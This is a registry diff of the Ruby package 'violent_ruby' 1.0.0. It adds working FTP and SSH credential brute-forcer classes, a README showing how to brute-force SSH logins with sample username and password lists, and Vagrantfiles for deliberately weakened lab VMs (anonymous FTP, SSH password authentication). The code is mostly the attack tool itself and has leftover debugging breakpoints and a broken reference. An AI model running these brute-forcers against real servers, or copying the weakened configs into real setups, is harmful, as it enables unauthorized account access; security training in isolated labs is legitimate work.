violent_ruby 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,30 @@
1
+ # -*- mode: ruby -*-
2
+ # vi: set ft=ruby :
3
+
4
+ # Vulnerable FTP Server in'a Can ( well, a VM ).
5
+ Vagrant.configure("2") do |config|
6
+ # For a complete reference, please see the online documentation at
7
+ # https://docs.vagrantup.com.
8
+
9
+ config.vm.box = "debian/jessie64"
10
+ config.vm.network "forwarded_port", guest: 21, host:2121
11
+ config.vm.network "private_network", ip: "192.168.33.10"
12
+ config.vm.synced_folder ".", "/vagrant", disabled: true
13
+
14
+ # Enable provisioning with a shell script.
15
+ config.vm.provision "shell", inline: <<-SHELL
16
+ sudo su root
17
+ apt-get update
18
+ apt-get install vsftpd -y
19
+ # for fun
20
+ sed -i -e 's/anonymous_enable=NO/anonymous_enable=YES/g' /etc/vsftpd.conf
21
+ service vsftpd restart
22
+ SHELL
23
+ end
24
+
25
+ # Basic Gist of the Picture
26
+ # vagrant up
27
+ # vagrant ssh
28
+ # ftp localhost
29
+ # user: vagrant
30
+ # password: vagrant
@@ -0,0 +1,143 @@
1
+ require 'net/ftp'
2
+
3
+ module ViolentRuby
4
+ # The Ftp Brute Forcer class provides a simply way to
5
+ # brute-force an FTP server's credentials.
6
+ # @author Kent 'picat' Gruber
7
+ #
8
+ # @example Basic Usage
9
+ # ftp = FtpBruteForcer.new
10
+ # ftp.users = "resources/ftp_users.txt"
11
+ # ftp.passwords = "resources/ftp_passwords.txt"
12
+ # ftp.ips = "resources/ftp_ips.txt"
13
+ # ftp.ports = "resources/ftp_ports.txt"
14
+ # # brue'm!
15
+ # ftp.brute_force!
16
+ # # => results
17
+ #
18
+ class FtpBruteForcer
19
+ attr_accessor :users
20
+ attr_accessor :passwords
21
+ attr_accessor :ips
22
+ attr_accessor :ports
23
+
24
+ # Create a new Ftp Brute Forcer.
25
+ #
26
+ # @param [Hash] args The options to create a new Ftp Brute Forcer.
27
+ # @param args [String] :users The path to a file of users to attempt.
28
+ # @param args [String] :passwords The path to a file of passwords to attempt.
29
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
30
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
31
+ def initialize(args = {})
32
+ @users = args[:users] if args[:users] && File.readable?(args[:users])
33
+ @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
34
+ @ips = args[:ips] if args[:ips] && File.readable?(args[:ips])
35
+ @ports = args[:ports] if args[:ports] && File.readable?(args[:ports])
36
+ @ftp = Net::FTP.new
37
+ end
38
+
39
+ # Brute force some'a dem FTP login credz.
40
+ #
41
+ # @param [Hash] args The options to brute force.
42
+ # @param args [String] :users The path to a file of users to attempt.
43
+ # @param args [String] :passwords The path to a file of passwords to attempt.
44
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
45
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
46
+ def brute_force(args = {})
47
+ meets_our_requirements?(args)
48
+ results = []
49
+ ips = args[:ips] || @ips
50
+ ports = args[:ports] || @ports
51
+ users = args[:users] || @users
52
+ passwords = args[:passwords] || @passwords
53
+ iterate_over(ips).each do |ip|
54
+ iterate_over(ports).each do |port|
55
+ next unless connectable?(ip: ip, port: port)
56
+ binding.pry
57
+ iterate_over(users).each do |user|
58
+ iterate_over(passwords).each do |password|
59
+ if able_to_login?(ip: ip, port: port, username: user, password: password)
60
+ puts "yup"
61
+ results << format_result("SUCCESS", ip, port, user, password)
62
+ else
63
+ puts "nope"
64
+ results << format_result("FAILURE", ip, port, user, password)
65
+ end
66
+ end
67
+ end
68
+ end
69
+ end
70
+ results
71
+ end
72
+
73
+ def connectable?(args = {})
74
+ @ftp.connect(args[:ip], args[:port])
75
+ return true if @ftp.last_response_code == "220"
76
+ false
77
+ rescue
78
+ false
79
+ end
80
+
81
+ def able_to_login?(args = {})
82
+ #@ftp_login ||= Net::FTP.new
83
+ @ftp.connect(args[:ip], args[:port])
84
+ @ftp.login(args[:username], args[:password])
85
+ if @ftp.welcome == "230 Login successful.\n"
86
+ @ftp.close
87
+ return true
88
+ end
89
+ ftp_login.quit
90
+ false
91
+ rescue
92
+ false
93
+ end
94
+
95
+ alias brute_force! brute_force
96
+
97
+ private
98
+
99
+ def format_result(type, ip, port, user, password)
100
+ { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
101
+ end
102
+
103
+
104
+ def iterate_over(file)
105
+ File.foreach(file).map(&:strip)
106
+ end
107
+
108
+ def meets_our_requirements?(args = {})
109
+ raise "No ip addresses to connect to." unless ips?(args)
110
+ raise "No ports to connect to." unless ports?(args)
111
+ raise "No passwords to try." unless passwords?(args)
112
+ raise "No users to try." unless users?(args)
113
+ true
114
+ end
115
+
116
+ def ips?(args = {})
117
+ return true if args[:ips]
118
+ return true if @ips
119
+ false
120
+ end
121
+
122
+ def passwords?(args = {})
123
+ return true if args[:passwords]
124
+ return true if @passwords
125
+ false
126
+ end
127
+
128
+ def ports?(args = {})
129
+ return true if args[:ports]
130
+ return true if @ports
131
+ false
132
+ end
133
+
134
+ def users?(args = {})
135
+ return true if args[:users]
136
+ return true if @users
137
+ false
138
+ end
139
+
140
+
141
+
142
+ end
143
+ end
@@ -0,0 +1,131 @@
1
+ # SSH Brute Forcer
2
+
3
+ Using brute-force, you can easily try to force your way into a server over SSH.
4
+
5
+ ## Vagrantfile
6
+
7
+ In this directory, along with the ruby code and the README.md, you'll find a `Vagrantfile` which you can use to setup a VM to test out the SSH Brute Forcer. This requires you to have [vagrant](https://www.vagrantup.com/) installed.
8
+
9
+ #### Start VM
10
+
11
+ ```shell
12
+ $ pwd
13
+ /somewhere/violent_ruby/lib/violent_ruby/ssh_brute_forcer
14
+ $ ls
15
+ README.md Vagrantfile ssh_brute_forcer.rb
16
+ $ vagrant up
17
+ Bringing machine 'default' up with 'virtualbox' provider...
18
+ ==> default: Importing base box 'debian/jessie64'...
19
+ ==> ect...
20
+ ```
21
+
22
+ #### SSH into VM
23
+
24
+ Very simply `vagrant ssh` will allow you to SSH into the VM to make changes or monitor the VM while brute-forcing it for blue team research.
25
+
26
+ ```shell
27
+ $ vagrant ssh
28
+
29
+ The programs included with the Debian GNU/Linux system are free software;
30
+ the exact distribution terms for each program are described in the
31
+ individual files in /usr/share/doc/*/copyright.
32
+
33
+ Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
34
+ permitted by applicable law.
35
+ vagrant@jessie:~$
36
+ ```
37
+
38
+ The VM should be provisioned with ssh, and it should be running with anonymous access turned on. Because that's fun.
39
+
40
+ #### Stop VM
41
+
42
+ If you've logged into the VM via ssh, logout and then use `vagrant destroy` to destroy the VM.
43
+
44
+ ```shell
45
+ $ vagrant destroy
46
+ default: Are you sure you want to destroy the 'default' VM? [y/N] y
47
+ ==> default: Forcing shutdown of VM...
48
+ ==> default: Destroying VM and associated drives...
49
+ ```
50
+
51
+ ## Initialization
52
+
53
+ ```ruby
54
+ require 'violent_ruby'
55
+
56
+ ssh = SSHBruteForcer.new
57
+ ```
58
+
59
+ ## Providing Required Files
60
+
61
+ ```ruby
62
+ require 'violent_ruby'
63
+
64
+ ssh = SSHBruteForcer.new
65
+
66
+ ssh.users = "resources/ssh_users.txt"
67
+ ssh.ports = "resources/ssh_ports.txt"
68
+ ssh.ips = "resources/ssh_ips.txt"
69
+ ssh.passwords = "resources/ssh_passwords.txt"
70
+ ```
71
+
72
+ #### Users
73
+
74
+ A `.users` file should contain a list of ssh usernames to use.
75
+
76
+ ```
77
+ vagrant
78
+ root
79
+ admin
80
+ picat
81
+ ```
82
+
83
+ #### Passwords
84
+
85
+ A `.passwords` file should contain a list of ssh passwords to use.
86
+
87
+ ```
88
+ vagrant
89
+ root
90
+ toor
91
+ picat
92
+ ```
93
+
94
+ #### IPs
95
+
96
+ A `.ips` file should contain a list of ip addresses to attempt connections on.
97
+
98
+ ```
99
+ 192.168.33.9
100
+ 192.168.33.10
101
+ 192.168.33.111
102
+ ```
103
+
104
+ #### Ports
105
+
106
+ A `.ports` file should contain a list of ports to attempt connections on.
107
+
108
+ ```
109
+ 22
110
+ 2222
111
+ ```
112
+ ## Brute Force'n
113
+
114
+ Once everything has been setup, we're going to be able to try start brute forcing!
115
+
116
+ ```ruby
117
+ require 'violent_ruby'
118
+
119
+ ssh = SSHBruteForcer.new
120
+
121
+ ssh.users = "resources/ssh_users.txt"
122
+ ssh.ports = "resources/ssh_ports.txt"
123
+ ssh.ips = "resources/ssh_ips.txt"
124
+ ssh.passwords = "resources/ssh_passwords.txt"
125
+
126
+ # Iterate through results.
127
+ ssh.brute_force do |result|
128
+ result
129
+ # => [{:time=>2017-04-03 19:02:11 -0400, :type=>"SUCCESS", :ip=>"192.168.33.10", :port=>"22", :user=>"vagrant", :password=>"vagrant"},
130
+ end
131
+ ```
@@ -0,0 +1,20 @@
1
+ # -*- mode: ruby -*-
2
+ # vi: set ft=ruby :
3
+
4
+ # Vulnerable SSH Server in'a Can ( well, a VM ).
5
+ Vagrant.configure("2") do |config|
6
+ # For a complete reference, please see the online documentation at
7
+ # https://docs.vagrantup.com.
8
+
9
+ config.vm.box = "debian/jessie64"
10
+ config.vm.network "private_network", ip: "192.168.33.10"
11
+ config.vm.synced_folder ".", "/vagrant", disabled: true
12
+
13
+ # Enable provisioning with a shell script.
14
+ config.vm.provision "shell", inline: <<-SHELL
15
+ sudo su root
16
+ # for fun
17
+ sed -i -e 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config
18
+ service sshd restart
19
+ SHELL
20
+ end
@@ -0,0 +1,206 @@
1
+ require 'net/ssh'
2
+ require 'socketry'
3
+ require 'timeout'
4
+
5
+ module ViolentRuby
6
+ # The SSH Brute Forcer class provides a simply way to
7
+ # brute-force an SSH server's credentials.
8
+ # @author Kent 'picat' Gruber
9
+ #
10
+ # @example Basic Usage
11
+ # ssh = SSHBruteForcer.new
12
+ # ssh.users = "resources/ssh_users.txt"
13
+ # ssh.passwords = "resources/ssh_passwords.txt"
14
+ # ssh.ips = "resources/ssh_ips.txt"
15
+ # ssh.ports = "resources/ssh_ports.txt"
16
+ # # brue'm!
17
+ # ftp.brute_force!
18
+ # # => results
19
+ #
20
+ class SSHBruteForcer
21
+ # @attr [String] users Path to file containing users.
22
+ attr_accessor :users
23
+ # @attr [String] passwords Path to file containing passwords.
24
+ attr_accessor :passwords
25
+ # @attr [String] ips Path to file containing ip addresses.
26
+ attr_accessor :ips
27
+ # @attr [String] ips Path to file containing ports.
28
+ attr_accessor :ports
29
+
30
+ # Create a new SSH Brute Forcer.
31
+ #
32
+ # @param [Hash] args The options to create a new SSH Brute Forcer.
33
+ # @param args [String] :users The path to a file of users to attempt.
34
+ # @param args [String] :passwords The path to a file of passwords to attempt.
35
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
36
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
37
+ def initialize(args = {})
38
+ @users = args[:users] if args[:users] && File.readable?(args[:users])
39
+ @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
40
+ @ips = args[:ips] if args[:ips] && File.readable?(args[:ips])
41
+ @ports = args[:ports] if args[:ports] && File.readable?(args[:ports])
42
+ end
43
+
44
+ # Brute force some'a dem SSH login credz.
45
+ #
46
+ # @param [Hash] args The options to brute force.
47
+ # @param args [String] :users The path to a file of users to attempt.
48
+ # @param args [String] :passwords The path to a file of passwords to attempt.
49
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
50
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
51
+ # @return [Array<Hash>]
52
+ def brute_force(args = {})
53
+ meets_our_requirements?(args)
54
+ results = []
55
+ ips = args[:ips] || @ips
56
+ ports = args[:ports] || @ports
57
+ users = args[:users] || @users
58
+ passwords = args[:passwords] || @passwords
59
+ iterate_over(ips).each do |ip|
60
+ iterate_over(ports).each do |port|
61
+ binding.pry
62
+ next unless connectable?(ip: ip, port: port)
63
+ iterate_over(users).each do |user|
64
+ iterate_over(passwords).each do |password|
65
+ if able_to_login?(ip: ip, port: port, username: user, password: password)
66
+ result = format_result("SUCCESS", ip, port, user, password)
67
+ else
68
+ result = format_result("FAILURE", ip, port, user, password)
69
+ end
70
+ results << result
71
+ yield result if block_given?
72
+ end
73
+ end
74
+ end
75
+ end
76
+ results
77
+ end
78
+
79
+ # brute_force! is the same as brute_force
80
+ alias brute_force! brute_force
81
+
82
+ # Check if a given IP address and port can connceted to.
83
+ # @see #brute_force
84
+ # @param [Hash] args the options to brute force.
85
+ # @param args [String] :ip The ip address to attempt to connect to.
86
+ # @param args [String] :port The port to attempt to connect to.
87
+ # @return [Boolean]
88
+ def connectable?(args = {})
89
+ Timeout::timeout(2) do
90
+ Socketry::TCP::Socket.connect(args[:ip], args[:port])
91
+ return true
92
+ end
93
+ rescue
94
+ false
95
+ end
96
+
97
+ # Check if a given IP address, port, username and passwords
98
+ # are correct to login.
99
+ # @see #brute_force
100
+ # @param [Hash] args
101
+ # @param args [String] :ip
102
+ # @param args [String] :port
103
+ # @param args [String] :username
104
+ # @param args [String] :password
105
+ # @return [Boolean]
106
+ def able_to_login?(args = {})
107
+ Net::SSH.start(args[:ip],
108
+ args[:username],
109
+ port: args[:port].to_i,
110
+ password: args[:password],
111
+ auth_methods: ['password'],
112
+ number_of_password_prompts: 0)
113
+ true
114
+ rescue
115
+ false
116
+ end
117
+
118
+ private
119
+
120
+ # @api private
121
+ # Format the results from brute force attempts.
122
+ # @see #brute_force
123
+ # @param [String] type
124
+ # @param [String] ip
125
+ # @param [Integer] port
126
+ # @param [String] user
127
+ # @param [String] password
128
+ # @return [Hash]
129
+ def format_result(type, ip, port, user, password)
130
+ { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
131
+ end
132
+
133
+ # @api private
134
+ # Iterate over each line in a file, stripping each line as it goes.
135
+ # @see File
136
+ # @param [String] file
137
+ # @return [Enumerator]
138
+ def iterate_over(file)
139
+ File.foreach(file).map(&:strip)
140
+ end
141
+
142
+ # @api private
143
+ # Check if the given arguments contain an ip, port, password and user files.
144
+ # @see #brute_force
145
+ # @param [Hash] args the options to brute force.
146
+ # @param args [String] :ips
147
+ # @param args [String] :ports
148
+ # @param args [String] :passwords
149
+ # @param args [String] :users
150
+ # @return [Boolean]
151
+ def meets_our_requirements?(args = {})
152
+ raise "No ip addresses to connect to." unless ips?(args)
153
+ raise "No ports to connect to." unless ports?(args)
154
+ raise "No passwords to try." unless passwords?(args)
155
+ raise "No users to try." unless users?(args)
156
+ true
157
+ end
158
+
159
+ # @api private
160
+ # Check if the given arguments contains ips, or has been set.
161
+ # @see #meets_our_requirements?
162
+ # @param [Hash] args the options to brute force.
163
+ # @param args [String] :ips
164
+ # @return [Boolean]
165
+ def ips?(args = {})
166
+ return true if args[:ips] || @ips
167
+ false
168
+ end
169
+
170
+ # @api private
171
+ # Check if the given arguments contains passwords, or has been set.
172
+ # @see #meets_our_requirements?
173
+ # @param [Hash] args
174
+ # @param args [String] :passwords
175
+ # @return [Boolean]
176
+ def passwords?(args = {})
177
+ return true if args[:passwords] || @passwords
178
+ false
179
+ end
180
+
181
+ # @api private
182
+ # Check if the given arguments contains ports, or has been set.
183
+ # @see #meets_our_requirements?
184
+ # @param [Hash] args
185
+ # @param args [String] :ports
186
+ # @return [Boolean]
187
+ def ports?(args = {})
188
+ return true if args[:ports] || @ports
189
+ false
190
+ end
191
+
192
+ # @api private
193
+ # Check if the given arguments contains users, or has been set.
194
+ # @see #meets_our_requirements?
195
+ # @param [Hash] args
196
+ # @param args [String] :users
197
+ # @return [Boolean]
198
+ def users?(args = {})
199
+ return true if args[:users] || @users
200
+ false
201
+ end
202
+
203
+
204
+
205
+ end
206
+ end